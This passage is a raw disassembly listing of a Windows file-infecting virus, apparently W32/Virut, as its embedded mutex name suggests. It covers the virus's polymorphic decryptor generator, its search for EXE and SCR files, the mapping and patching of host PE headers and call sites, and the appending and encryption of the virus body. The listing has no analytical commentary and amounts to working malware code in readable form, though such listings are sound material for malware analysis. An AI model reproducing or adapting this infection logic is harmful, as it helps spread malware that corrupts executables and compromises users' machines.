0E083h or ah, byte ptr ss:loc_40342B[ebp] stosw xor eax, eax stosb jmp short loc_4FB698 ; --------------------------------------------------------------------------- loc_4FB683: ; CODE XREF: .XPack:004FB670j mov ax, 1829h or ah, byte ptr ss:loc_40342B[ebp] shl ah, 3 or ah, byte ptr ss:loc_40342B[ebp] stosw loc_4FB698: ; CODE XREF: .XPack:004FB681j test dword ptr [ebp+403431h], 1000h mov ax, 0C081h jz short loc_4FB6AB add ah, 8 loc_4FB6AB: ; CODE XREF: .XPack:004FB6A6j or ah, byte ptr ss:loc_40342B[ebp] stosw loc_4FB6B3: ; CODE XREF: .XPack:004FB664j movzx eax, byte ptr [ebp+40342Fh] stosd loc_4FB6BB: ; CODE XREF: .XPack:004FB64Dj test dword ptr [ebp+403431h], 40000000h jz short loc_4FB6D0 mov al, 50h add al, byte ptr ss:loc_403429[ebp] stosb loc_4FB6D0: ; CODE XREF: .XPack:004FB6C5j test dword ptr [ebp+403431h], 2000h mov al, 86h jnz short loc_4FB6E0 add al, 4 loc_4FB6E0: ; CODE XREF: .XPack:004FB6DCj lea ecx, [edi-2] mov ah, byte ptr ss:loc_403429[ebp] mov [ebp+40398Ah], ecx stosw cmp ah, 5 jnz short loc_4FB6FD mov al, 0 or byte ptr [edi-1], 40h stosb loc_4FB6FD: ; CODE XREF: .XPack:004FB6F4j test dword ptr [ebp+403431h], 4000h mov ax, 3166h jnz short loc_4FB70F mov ah, 29h loc_4FB70F: ; CODE XREF: .XPack:004FB70Bj stosw mov al, 18h or al, byte ptr ss:loc_40342B[ebp] shl al, 3 stosb mov al, 88h test dword ptr [ebp+403431h], 8000h jnz short loc_4FB72D mov al, 86h loc_4FB72D: ; CODE XREF: .XPack:004FB729j mov ah, byte ptr ss:loc_403429[ebp] stosw cmp ah, 5 jnz short loc_4FB741 mov al, 0 or byte ptr [edi-1], 40h stosb loc_4FB741: ; CODE XREF: .XPack:004FB738j test dword ptr [ebp+403431h], 10000h jnz short loc_4FB758 mov al, 40h or al, byte ptr ss:loc_403429[ebp] stosb jmp short loc_4FB767 ; --------------------------------------------------------------------------- loc_4FB758: ; CODE XREF: .XPack:004FB74Bj mov ax, 0C083h or ah, byte ptr ss:loc_403429[ebp] stosw mov al, 1 stosb loc_4FB767: ; CODE XREF: .XPack:004FB756j test dword ptr [ebp+403431h], 20000h jnz short loc_4FB7A2 test dword ptr [ebp+403431h], 40000h jnz short loc_4FB799 mov al, 0C0h or al, byte ptr ss:loc_40342B[ebp] mov ah, [ebp+403430h] shl eax, 10h mov ax, 8166h stosd mov al, 0 jmp short loc_4FB7A1 ; --------------------------------------------------------------------------- loc_4FB799: ; CODE XREF: .XPack:004FB77Dj mov al, 40h or al, byte ptr ss:loc_40342B[ebp] loc_4FB7A1: ; CODE XREF: .XPack:004FB797j stosb loc_4FB7A2: ; CODE XREF: .XPack:004FB771j test dword ptr [ebp+403431h], 80000h jnz short loc_4FB7BE mov ax, 0E883h or ah, byte ptr ss:loc_40342A[ebp] stosw mov al, 1 jmp short loc_4FB7C6 ; --------------------------------------------------------------------------- loc_4FB7BE: ; CODE XREF: .XPack:004FB7ACj mov al, 48h or al, byte ptr ss:loc_40342A[ebp] loc_4FB7C6: ; CODE XREF: .XPack:004FB7BCj stosb test dword ptr [ebp+403431h], 100000h mov cl, 75h jnz short loc_4FB7FA mov ax, 0F883h or ah, byte ptr ss:loc_40342A[ebp] stosw xor eax, eax stosb sub [ebp+40398Ah], edi test dword ptr [ebp+403431h], 200000h jnz short loc_4FB815 mov cl, 77h jmp short loc_4FB815 ; --------------------------------------------------------------------------- loc_4FB7FA: ; CODE XREF: .XPack:004FB7D3j mov ax, 1809h or ah, byte ptr ss:loc_40342A[ebp] shl ah, 3 or ah, byte ptr ss:loc_40342A[ebp] stosw sub [ebp+40398Ah], edi loc_4FB815: ; CODE XREF: .XPack:004FB7F4j ; .XPack:004FB7F8j mov al, cl mov ah, [ebp+40398Ah] stosw mov al, 58h add al, byte ptr ss:loc_403429[ebp] stosb test dword ptr [ebp+403431h], 1000003h jz loc_4FB8BF mov eax, 268B6467h mov ecx, [ebp+403431h] xor ecx, 2000000h test ecx, 3000000h jnz short loc_4FB856 mov eax, 2E876467h loc_4FB856: ; CODE XREF: .XPack:004FB84Fj stosd mov eax, 0 stosw jnz short loc_4FB866 mov ax, 0E58Bh stosw loc_4FB866: ; CODE XREF: .XPack:004FB85Ej mov eax, 68F6764h stosd xor eax, eax stosw test dword ptr [ebp+403431h], 1000000h jnz short loc_4FB8BC test dword ptr [ebp+403431h], 8000000h jz short loc_4FB8AE mov ax, 6C8Dh test dword ptr [ebp+403431h], 2000000h setnz cl or ah, cl stosw test cl, cl jnz short loc_4FB8A9 mov ax, 424h stosw jmp short loc_4FB8BC ; --------------------------------------------------------------------------- loc_4FB8A9: ; CODE XREF: .XPack:004FB89Fj mov al, 8 stosb jmp short loc_4FB8BC ; --------------------------------------------------------------------------- loc_4FB8AE: ; CODE XREF: .XPack:004FB886j mov ax, 5D58h add al, byte ptr ss:loc_40342B[ebp] stosw jmp short loc_4FB8BF ; --------------------------------------------------------------------------- loc_4FB8BC: ; CODE XREF: .XPack:004FB87Aj ; .XPack:004FB8A7j ... mov al, 0C9h stosb loc_4FB8BF: ; CODE XREF: .XPack:004FB832j ; .XPack:004FB8BAj test dword ptr [ebp+403431h], 80000000h jz short loc_4FB8EB mov al, 7 sub al, byte ptr ss:loc_403429[ebp] shl eax, 1Ah or eax, 240889h add ah, byte ptr ss:loc_403429[ebp] shl ah, 3 add ah, 4 stosd mov al, 61h stosb loc_4FB8EB: ; CODE XREF: .XPack:004FB8C9j mov ax, 0E0FFh or ah, byte ptr ss:loc_403429[ebp] stosw test dword ptr [ebp+403431h], 20h jz short loc_4FB956 test dword ptr [ebp+403431h], 20000000h jz short loc_4FB91C loc_4FB90F: ; CODE XREF: .XPack:004FB91Aj test edi, 3 jz short loc_4FB91C mov al, 90h stosb jmp short loc_4FB90F ; --------------------------------------------------------------------------- loc_4FB91C: ; CODE XREF: .XPack:004FB90Dj ; .XPack:004FB915j mov eax, edi mov ecx, [ebp+403982h] sub eax, ecx mov [ecx-4], eax mov al, 58h or al, byte ptr ss:loc_403429[ebp] stosb test dword ptr [ebp+403431h], 400000h jz short loc_4FB94A mov ax, 0C350h or al, byte ptr ss:loc_403429[ebp] jmp short loc_4FB954 ; --------------------------------------------------------------------------- loc_4FB94A: ; CODE XREF: .XPack:004FB93Cj mov ax, 0E0FFh or ah, byte ptr ss:loc_403429[ebp] loc_4FB954: ; CODE XREF: .XPack:004FB948j stosw loc_4FB956: ; CODE XREF: .XPack:004FB901j test dword ptr [ebp+403431h], 1000003h jz short loc_4FB9D5 test dword ptr [ebp+403431h], 20000000h jz short loc_4FB97B loc_4FB96E: ; CODE XREF: .XPack:004FB979j test edi, 3 jz short loc_4FB97B mov al, 90h stosb jmp short loc_4FB96E ; --------------------------------------------------------------------------- loc_4FB97B: ; CODE XREF: .XPack:004FB96Cj ; .XPack:004FB974j mov ecx, edi mov eax, dword ptr ss:loc_40399A[ebp] sub ecx, eax mov [eax-4], ecx xor ecx, ecx test dword ptr [ebp+403431h], 800000h jnz short loc_4FB9A4 lea eax, loc_403429[ebp] loc_4FB99C: ; CODE XREF: .XPack:004FB9A2j mov cl, [eax] inc eax cmp cl, 3 jnb short loc_4FB99C loc_4FB9A4: ; CODE XREF: .XPack:004FB994j lea eax, ds:102444h[ecx*8] shl eax, 8 mov al, 8Bh stosd jecxz short loc_4FB9B9 mov ax, 0C031h stosw loc_4FB9B9: ; CODE XREF: .XPack:004FB9B1j mov ax, 808Fh push 0B8h add ah, cl stosw pop eax stosd test ecx, ecx jnz short loc_4FB9D2 mov ax, 0C031h stosw loc_4FB9D2: ; CODE XREF: .XPack:004FB9CAj mov al, 0C3h stosb loc_4FB9D5: ; CODE XREF: .XPack:004FB960j lea eax, [ebp+40343Ch] test dword ptr [ebp+403431h], 10000000h jnz short loc_4FB9ED push edi sub edi, eax pop eax jmp short loc_4FBA06 ; --------------------------------------------------------------------------- loc_4FB9ED: ; CODE XREF: .XPack:004FB9E5j mov edx, [ebx+28h] sub edi, eax sub edx, eax mov ecx, dword ptr ss:loc_4039A2[ebp] add [ebp+403982h], edx add [ecx], edi mov eax, [esp+4] loc_4FBA06: ; CODE XREF: .XPack:004FB9EBj mov dword ptr ss:loc_40106D[ebp], edi mov edi, dword ptr ss:loc_403986[ebp] sub eax, [ebp+403982h] test dword ptr [ebp+403431h], 40h jz short loc_4FBA26 neg eax loc_4FBA26: ; CODE XREF: .XPack:004FBA22j stosd retn 4 ; =============== S U B R O U T I N E ======================================= sub_4FBA2A proc near ; CODE XREF: sub_4FBE56+2A8p push esi push edi cmp dword ptr [ebp+4039AEh], 0 jz loc_4FBC12 call near ptr loc_4FBA4A+1 dec ebx inc ebp push edx dec esi inc ebp dec esp xor esi, [edx] db 2Eh inc esp dec esp dec esp loc_4FBA4A: ; CODE XREF: sub_4FBA2A+Fp add bh, bh sub_4FBA2A endp ; sp-analysis failed xchg eax, ebp mov ds:85890040h, dh mov esi, 53004039h mov ebx, [eax+3Ch] add ebx, eax push dword ptr [ebx+28h] mov eax, [ebx+34h] call sub_4FB164 mov edx, [ebp+4039A6h] pop ebx add eax, [edx+0Ch] mov [ebp+4039C2h], eax add eax, [edx+8] mov [ebp+4039C6h], eax mov esi, [ebx+28h] push dword ptr [ebx+80h] call sub_4FB164 mov edi, [ebp+4039A6h] push esi call sub_4FB164 mov edx, [ebp+4039A6h] mov ecx, [edx+8] add ecx, [edx+0Ch] sub ecx, esi sub ecx, 5 js loc_4FBC12 jz loc_4FBC12 add esi, dword ptr ss:loc_4039AA[ebp] add esi, [ebp+403972h] ; START OF FUNCTION CHUNK FOR sub_4FBBE3 loc_4FBAC4: ; CODE XREF: sub_4FBBE3+29j lodsb cmp al, 0E8h jnz loc_4FBB6F lea eax, [esi+4] sub eax, [ebp+403972h] add eax, [esi] push eax call sub_4FB164 cmp dword ptr [ebp+4039A6h], 0 jnz short loc_4FBAF2 cmp eax, [edi+0Ch] jnb loc_4FBC0B jmp short loc_4FBAFE ; --------------------------------------------------------------------------- loc_4FBAF2: ; CODE XREF: sub_4FBBE3-FEj cmp [ebp+4039A6h], edx jnz loc_4FBC0B loc_4FBAFE: ; CODE XREF: sub_4FBBE3-F3j add eax, [ebp+403972h] cmp word ptr [eax], 25FFh jnz loc_4FBC0B mov eax, [eax+2] sub eax, [ebx+34h] push eax call sub_4FB164 cmp [ebp+4039A6h], edi jnz loc_4FBC0B add eax, dword ptr ss:loc_4039AA[ebp] add eax, [ebp+403972h] mov eax, [eax] sub eax, [edi+0Ch] jb loc_4FBC0B cmp eax, [edi+8] jnb loc_4FBC0B loc_4FBB47: ; CODE XREF: sub_4FBBE3+22j add eax, 2 add eax, [edi+14h] add eax, [ebp+403972h] push edx push eax push dword ptr [ebp+4039BEh] call dword ptr ss:loc_403548[ebp] pop edx test eax, eax jnz loc_4FBC21 jmp loc_4FBC0B ; --------------------------------------------------------------------------- loc_4FBB6F: ; CODE XREF: sub_4FBBE3-11Cj cmp al, 0FFh jnz loc_4FBC0B cmp byte ptr [esi], 15h jnz loc_4FBC0B mov eax, [esi+1] sub eax, [ebx+34h] push eax call sub_4FB164 cmp [ebp+4039A6h], edi jnz short loc_4FBC0B add eax, dword ptr ss:loc_4039AA[ebp] add eax, [ebp+403972h] mov dword ptr ss:loc_4039CA[ebp], eax mov eax, [eax] cmp eax, [ebp+4039C2h] jb short loc_4FBBB8 cmp eax, [ebp+4039C6h] jb short loc_4FBC21 loc_4FBBB8: ; CODE XREF: sub_4FBBE3-35j cmp eax, 70000000h jb short loc_4FBBF6 call sub_4FBBE3 lea ecx, [esi-4] mov eax, ecx sub eax, [edx] add eax, [edx+10h] cmp eax, dword ptr ss:loc_4039CA[ebp] jnz short locret_4FBBE2 add esp, 10h push dword ptr [ecx] pop [esp-0Ch+arg_24] popa jmp short loc_4FBBFD ; --------------------------------------------------------------------------- locret_4FBBE2: ; CODE XREF: sub_4FBBE3-Fj retn ; END OF FUNCTION CHUNK FOR sub_4FBBE3 ; =============== S U B R O U T I N E ======================================= sub_4FBBE3 proc near ; CODE XREF: sub_4FBBE3-24p var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_24 = dword ptr 28h ; FUNCTION CHUNK AT 004FBAC4 SIZE 0000011F BYTES pop dword ptr [ebp+403992h] pusha mov esi, [ebp+403972h] call sub_4FB26B popa loc_4FBBF6: ; CODE XREF: sub_4FBBE3-26j test eax, 80000000h jnz short loc_4FBC0B loc_4FBBFD: ; CODE XREF: sub_4FBBE3-3j sub eax, [edi+0Ch] jb short loc_4FBC0B cmp eax, [edi+8] jb loc_4FBB47 loc_4FBC0B: ; CODE XREF: sub_4FBBE3-F9j ; sub_4FBBE3-EBj ... dec ecx jnz loc_4FBAC4 loc_4FBC12: ; CODE XREF: sub_4FBA2A+9j ; .XPack:004FBAACj ... mov edi, [esp-4+arg_0] and dword ptr [edi+2431h], 7FFFFFFFh jmp short loc_4FBC5D ; --------------------------------------------------------------------------- loc_4FBC21: ; CODE XREF: sub_4FBBE3-7Fj ; sub_4FBBE3-2Dj or dword ptr [edx+24h], 0E0000060h dec esi xor eax, eax mov ecx, [esp+8+var_8] xchg eax, [ebp+4039AEh] lea edi, [ecx+2435h] add eax, [ebp+403972h] movsw movsd dec esi sub eax, esi add eax, [edx+14h] sub eax, [edx+0Ch] mov byte ptr [esi-5], 0E8h mov dword ptr [ecx+52h], 5 mov [esi-4], eax loc_4FBC5D: ; CODE XREF: sub_4FBBE3+3Cj pop edi pop esi retn sub_4FBBE3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4FBC60 proc near ; CODE XREF: .XPack:004FBE2Ep ; sub_4FBE56+127p lea esi, [ebp+40384Eh] push esi call dword ptr ss:loc_40357C[ebp] cmp eax, 0FFFFFFFFh jz locret_4FBD31 mov dword ptr ss:loc_403952[ebp], eax push 0 push esi call dword ptr [ebp+4035B4h] test eax, eax jz locret_4FBD31 sub eax, eax push eax push eax push 3 push eax push 1 push 0C0000000h push esi call dword ptr ss:loc_40355C[ebp] cmp eax, 0FFFFFFFFh jz loc_4FC1E9 mov [ebp+403956h], eax lea ecx, [ebp+40395Ah] lea edx, [ebp+403962h] push ecx push edx push 0 push eax call dword ptr [ebp+403584h] cmp eax, 0FFFFFFFFh jz loc_4FC1DD push 0 push dword ptr [ebp+403956h] call dword ptr [ebp+403580h] cmp eax, 0FFFFFFFFh jz loc_4FC1DD mov [ebp+40396Ah], eax xor ecx, ecx add eax, ebx push ecx push eax push ecx push 4 push ecx push dword ptr [ebp+403956h] call dword ptr ss:loc_403560[ebp] test eax, eax jz loc_4FC1DD xor ecx, ecx mov [ebp+40396Eh], eax push ecx push ecx push ecx push 0F001Fh push eax call dword ptr ss:loc_4035A0[ebp] test eax, eax jz loc_4FC1B5 mov [ebp+403972h], eax locret_4FBD31: ; CODE XREF: sub_4FBC60+10j ; sub_4FBC60+27j ... retn sub_4FBC60 endp ; =============== S U B R O U T I N E ======================================= sub_4FBD32 proc near ; CODE XREF: sub_4FBE56+117p ; sub_4FBE56+223p mov eax, 69CDh mov ecx, [ebx+38h] test dword ptr [ebp+403431h], 10000000h jnz short loc_4FBD4C add eax, dword ptr ss:loc_40106D[ebp] loc_4FBD4C: ; CODE XREF: sub_4FBD32+12j xor edx, edx add eax, ecx div ecx mul ecx mov [ebp+40397Ah], eax mov eax, 243Bh mov ecx, [ebx+3Ch] add eax, dword ptr ss:loc_40106D[ebp] xor edx, edx add eax, ecx div ecx mul ecx mov [ebp+403976h], eax retn sub_4FBD32 endp ; =============== S U B R O U T I N E ======================================= sub_4FBD77 proc near ; CODE XREF: sub_4FBE56:loc_4FBEA5p ; sub_4FBE56+13Dp movzx ecx, word ptr [ebx+6] stc loc_4FBD7C: ; CODE XREF: sub_4FBD77+23j jecxz short locret_4FBDB3 lea edx, [ebx+18h] movzx eax, word ptr [ebx+14h] add edx, eax dec ecx imul eax, ecx, 28h add edx, eax cmp dword ptr [edx], 6E69775Fh stc jz short locret_4FBDB3 cmp dword ptr [edx+0Ch], 1 jb short loc_4FBD7C mov ecx, [ebx+3Ch] mov eax, [edx+14h] add eax, [edx+10h] lea eax, [eax+ecx*2-1] neg ecx and eax, ecx cmp eax, [ebp+40396Ah] locret_4FBDB3: ; CODE XREF: sub_4FBD77:loc_4FBD7Cj ; sub_4FBD77+1Dj ... retn sub_4FBD77 endp ; =============== S U B R O U T I N E ======================================= sub_4FBDB4 proc near ; CODE XREF: .XPack:004FBE40p arg_C = dword ptr 10h mov edx, [esp+arg_C] xor eax, eax pop dword ptr [edx+0B8h] retn sub_4FBDB4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4FBDC1: ; CODE XREF: .XPack:004FBDE2j mov ecx, edi jmp short loc_4FBDD0 ; --------------------------------------------------------------------------- lea edi, [ebp+40384Eh] cld loc_4FBDCC: ; CODE XREF: .XPack:004FBDDEj mov ebx, edi xor ecx, ecx loc_4FBDD0: ; CODE XREF: .XPack:004FBDC3j ; .XPack:004FBDE6j lodsb cmp al, 61h jb short loc_4FBDDB cmp al, 7Ah ja short loc_4FBDDB sub al, 20h loc_4FBDDB: ; CODE XREF: .XPack:004FBDD3j ; .XPack:004FBDD7j stosb cmp al, 5Ch jz short loc_4FBDCC cmp al, 2Eh jz short loc_4FBDC1 cmp al, 0 jnz short loc_4FBDD0 jecxz short locret_4FBDB3 mov eax, [ecx] cmp eax, 455845h jz short loc_4FBDFE cmp eax, 524353h jnz locret_4FBD31 loc_4FBDFE: ; CODE XREF: .XPack:004FBDF1j mov eax, [ebx] cmp eax, 434E4957h jz locret_4FBD31 cmp eax, 4E554357h jz locret_4FBD31 cmp eax, 32334357h jz locret_4FBD31 cmp eax, 4F545350h jz locret_4FBD31 xor ebx, ebx call sub_4FBC60 jz locret_4FBD31 xor edx, edx call sub_4FBE56 call sub_4FBDB4 call $+5 pop ebp sub ebp, offset loc_402F8A jmp loc_4FC193 ; =============== S U B R O U T I N E ======================================= sub_4FBE56 proc near ; CODE XREF: .XPack:004FBE3Bp var_14 = dword ptr -14h push dword ptr fs:[edx] mov esi, [ebp+403972h] mov fs:[edx], esp cmp word ptr [esi], 5A4Dh jnz loc_4FC193 mov ebx, [esi+3Ch] add ebx, esi cmp word ptr [ebx], 4550h jnz loc_4FC193 test dword ptr [ebx+16h], 2000h jnz loc_4FC193 test byte ptr [ebx+5Ch], 2 mov ecx, [esi+20h] jz loc_4FC193 jecxz short loc_4FBEA5 cmp ecx, 101h jbe loc_4FC193 loc_4FBEA5: ; CODE XREF: sub_4FBE56+41j call sub_4FBD77 jb loc_4FC193 mov ecx, [edx+10h] add ecx, [edx+0Ch] mov eax, 10000h push ecx call sub_4FA9AF xor [ebp+40342Fh], dl mov cl, 20h xor [ebp+403430h], dh loc_4FBECF: ; CODE XREF: sub_4FBE56+92j push 20h dec cl pop eax js short loc_4FBEEA call sub_4FA9AF test edx, edx setz dl shl edx, cl xor [ebp+403431h], edx jmp short loc_4FBECF ; --------------------------------------------------------------------------- loc_4FBEEA: ; CODE XREF: sub_4FBE56+7Ej ; sub_4FBE56+CDj ... push 6 pop ecx loc_4FBEF0: ; CODE XREF: sub_4FBE56+B8j push 6 pop eax call sub_4FA9AF mov al, byte ptr ss:loc_403429[ebp] xchg al, byte ptr loc_403429[edx+ebp] mov byte ptr ss:loc_403429[ebp], al loop loc_4FBEF0 test dword ptr [ebp+403431h], 8 jnz short loc_4FBF25 cmp byte ptr ss:loc_40342B[ebp], 1 jz short loc_4FBEEA loc_4FBF25: ; CODE XREF: sub_4FBE56+C4j test dword ptr [ebp+403431h], 1000003h jz short loc_4FBF4C cmp byte ptr ss:loc_403429[ebp], 5 jz short loc_4FBEEA cmp byte ptr ss:loc_40342A[ebp], 5 jz short loc_4FBEEA cmp byte ptr ss:loc_40342B[ebp], 5 jz short loc_4FBEEA loc_4FBF4C: ; CODE XREF: sub_4FBE56+D9j test dword ptr [ebp+403431h], 80000000h jz short loc_4FBF61 cmp byte ptr ss:loc_403429[ebp], 2 ja short loc_4FBEEA loc_4FBF61: ; CODE XREF: sub_4FBE56+100j and dword ptr [ebp+4039AEh], 0 call loc_4FB3FC call sub_4FBD32 call sub_4FC19C mov ebx, [ebp+403976h] call sub_4FBC60 jz loc_4FC193 mov esi, [ebp+403972h] mov ebx, [esi+3Ch] add ebx, esi call sub_4FBD77 jb loc_4FC193 or dword ptr [edx+24h], 0E0000060h mov edi, esi push edx push esi add edi, [edx+14h] add edi, [edx+10h] test dword ptr [ebp+403431h], 10000000h jnz short loc_4FBFC9 lea esi, [ebp+40343Ch] mov ecx, dword ptr ss:loc_40106D[ebp] rep movsb loc_4FBFC9: ; CODE XREF: sub_4FBE56+163j push edi mov ecx, 90Fh lea esi, sub_401000[ebp] rep movsd mov cl, 0 jecxz short loc_4FBFDD rep movsb loc_4FBFDD: ; CODE XREF: sub_4FBE56+183j test dword ptr [ebp+403431h], 10000000h jz loc_4FC095 push dword ptr [ebx+28h] call sub_4FB164 mov edx, [ebp+4039A6h] test edx, edx jz loc_4FC095 mov esi, [ebp+403972h] mov ecx, [edx+10h] or dword ptr [edx+24h], 0E0000060h sub ecx, [edx+8] jnb short loc_4FC01A xor ecx, ecx loc_4FC01A: ; CODE XREF: sub_4FBE56+1C0j add esi, [edx+14h] cmp ecx, dword ptr ss:loc_40106D[ebp] mov ecx, dword ptr ss:loc_40106D[ebp] jb short loc_4FC081 mov edi, [esp+14h+var_14] and dword ptr ss:loc_40106D[ebp], 0 and dword ptr [edi+6Dh], 0 mov edi, [edx+8] add [edx+8], ecx add esi, edi xchg esi, edi mov eax, dword ptr ss:loc_403986[ebp] test dword ptr [ebp+403431h], 40h jz short loc_4FC05A neg dword ptr [eax] loc_4FC05A: ; CODE XREF: sub_4FBE56+200j add esi, [edx+0Ch] sub [eax], esi mov [ebp+4039AEh], esi mov esi, [ebx+28h] add [eax], esi test dword ptr [ebp+403431h], 40h jz short loc_4FC078 neg dword ptr [eax] loc_4FC078: ; CODE XREF: sub_4FBE56+21Ej push ecx call sub_4FBD32 pop ecx jmp short loc_4FC08D ; --------------------------------------------------------------------------- loc_4FC081: ; CODE XREF: sub_4FBE56+1D3j add esi, [ebx+28h] sub esi, [edx+0Ch] push ecx push esi rep movsb pop edi pop ecx loc_4FC08D: ; CODE XREF: sub_4FBE56+229j lea esi, [ebp+40343Ch] rep movsb loc_4FC095: ; CODE XREF: sub_4FBE56+191j ; sub_4FBE56+1A7j pop edi pop esi rdtsc xchg eax, edx lea eax, [edi+1D2h] cmp dl, [ebp+40342Fh] jnz short loc_4FC0AE imul edx, 12345678h loc_4FC0AE: ; CODE XREF: sub_4FBE56+250j mov [eax-1], dl call sub_4FA082 pop edx mov ecx, [edx+0Ch] add ecx, [edx+10h] test dword ptr [ebp+403431h], 10000000h lea eax, [ecx+6] jnz short loc_4FC0DF mov [ebp+4039AEh], ecx add eax, dword ptr ss:loc_40106D[ebp] and dword ptr [edi+6Dh], 0 loc_4FC0DF: ; CODE XREF: sub_4FBE56+274j sub eax, [ebx+28h] push dword ptr [ebp+40397Eh] mov [edi+52h], eax pop dword ptr [esi+20h] test dword ptr [ebp+403431h], 80000000h jz short loc_4FC104 push edx call sub_4FBA2A pop edx loc_4FC104: ; CODE XREF: sub_4FBE56+2A5j mov ecx, [ebp+4039AEh] jecxz short loc_4FC10F mov [ebx+28h], ecx loc_4FC10F: ; CODE XREF: sub_4FBE56+2B4j mov ecx, [edx+10h] mov eax, [ebp+403976h] cmp [edx+8], ecx jnb short loc_4FC120 mov [edx+8], ecx loc_4FC120: ; CODE XREF: sub_4FBE56+2C5j add [edx+10h], eax and dword ptr [ebx+58h], 0 mov eax, [ebp+40397Ah] push 243Ch add [edx+8], eax pop ecx add [ebx+50h], eax mov dl, [ebp+40342Fh] test dword ptr [ebp+403431h], 10000000h jz short loc_4FC151 add ecx, dword ptr ss:loc_40106D[ebp] loc_4FC151: ; CODE XREF: sub_4FBE56+2F3j mov dh, 0 test dword ptr [ebp+403431h], 20000h jnz short loc_4FC173 inc dh test dword ptr [ebp+403431h], 40000h jnz short loc_4FC173 mov dh, [ebp+403430h] loc_4FC173: ; CODE XREF: sub_4FBE56+307j ; sub_4FBE56+315j test dword ptr [ebp+403431h], 4000h jnz short loc_4FC18A loc_4FC17F: ; CODE XREF: sub_4FBE56+330j mov al, [edi] add al, dl stosb add dl, dh loop loc_4FC17F jmp short loc_4FC193 ; --------------------------------------------------------------------------- loc_4FC18A: ; CODE XREF: sub_4FBE56+327j ; sub_4FBE56+33Bj mov al, [edi] xor al, dl stosb add dl, dh loop loc_4FC18A loc_4FC193: ; CODE XREF: .XPack:004FBE51j ; sub_4FBE56+11j ... xor edx, edx mov esp, fs:[edx] pop dword ptr fs:[edx] pop eax sub_4FBE56 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4FC19C proc near ; CODE XREF: sub_4FBE56+11Cp cmp dword ptr [ebp+403956h], 0 jz locret_4FBD31 push dword ptr [ebp+403972h] call dword ptr [ebp+4035C4h] loc_4FC1B5: ; CODE XREF: sub_4FBC60+C5j push dword ptr [ebp+40396Eh] call dword ptr ss:loc_40353C[ebp] lea ecx, [ebp+40395Ah] lea edx, [ebp+403962h] push ecx push edx push 0 push dword ptr [ebp+403956h] call dword ptr ss:loc_4035B8[ebp] loc_4FC1DD: ; CODE XREF: sub_4FBC60+6Bj ; sub_4FBC60+82j ... push dword ptr [ebp+403956h] call dword ptr ss:loc_40353C[ebp] loc_4FC1E9: ; CODE XREF: sub_4FBC60+45j lea esi, [ebp+40384Eh] push dword ptr ss:loc_403952[ebp] push esi call dword ptr [ebp+4035B4h] and dword ptr [ebp+403956h], 0 retn sub_4FC19C endp ; --------------------------------------------------------------------------- dd 0E8h, 16A5D00h, 3349ED81h, 0F0580040h, 8085C10Fh, 85004015h dd 0C883C3C0h, 0C10FF0FFh, 40158085h, 103DC300h, 75002A00h dd 7C81661Ch, 716C0C24h, 0E8601375h, 0FFFFFFC4h, 7EE80575h dd 0E8FFFFFBh, 0FFFFFFD2h, 2DFF2E61h, 12345678h, 25B8h dd 0A5E86000h, 75FFFFFFh, 24448B39h, 4EB58D30h, 8B004038h dd 81660850h, 7302063Ah, 685625h, 8B00FF00h, 52006AC4h dd 0F895FF50h, 83004035h, 3E8108C4h, 5C3F3F5Ch, 0C6830375h dd 0FB2BE804h, 7FE8FFFFh, 61FFFFFFh, 74B8C3h, 0B1EB0000h dd 2FB8h, 10E800h, 20C20000h, 30B800h, 3E80000h, 0C2000000h dd 548D0024h, 2ECD0C24h, 7C00F883h, 0E86019h, 8B000000h dd 5D302454h, 0ED811A8Bh, 403413h, 0FFE539E8h, 4C261FFh dd 3020600h, 0EF050701h, 103DE71Ah, 8C15FF06h, 90010010h dd 3Bh dup(0) dd 3BEE39D0h, 478F2C88h, 96A538D4h, 79F5B87Dh, 88BEB15Bh dd 7C809B47h, 7C8308ADh, 7C910331h, 7C80ADA0h, 3 dup(0) dd 7C80BDB6h, 7C801A24h, 7C80945Ch, 7C802367h, 7C81042Ch dd 7C810637h, 7C864B0Fh, 7C80C058h, 7C80E7ECh, 7C81153Ch dd 7C810A77h, 7C831C45h, 7C80B6A1h, 7C8608FFh, 7C835DCAh dd 7C8111DAh, 7C812ADEh, 7C801D77h, 7C80B905h, 7C80BB76h dd 7C8309E1h, 7C863DE5h, 7C863F58h, 7C812782h, 7C831CB8h dd 7C802442h, 7C810B1Ch, 7C80B974h, 7C809A51h, 7C810D87h dd 7C90D460h, 7C90D682h, 7C90D754h, 7C90D769h, 7C90D793h dd 7C90DC55h, 7C90DCFDh, 7C90DD90h, 7C90DEB6h, 7C90EA32h dd 7C9130C6h, 15h dup(0) dd 380036h, 4FC518h, 42005Ch, 730061h, 4E0065h, 6D0061h dd 640065h, 62004Fh, 65006Ah, 740063h, 5C0073h, 330057h dd 5F0032h, 690056h, 740072h, 75h, 0BBh dup(0) dd 710000h, 0Ch dup(0) dd 9DF00000h, 4Fh, 115Ch dup(0) _XPack ends ; Section 3. (virtual address 00101000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00100E00 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 501000h align 2000h _idata2 ends end start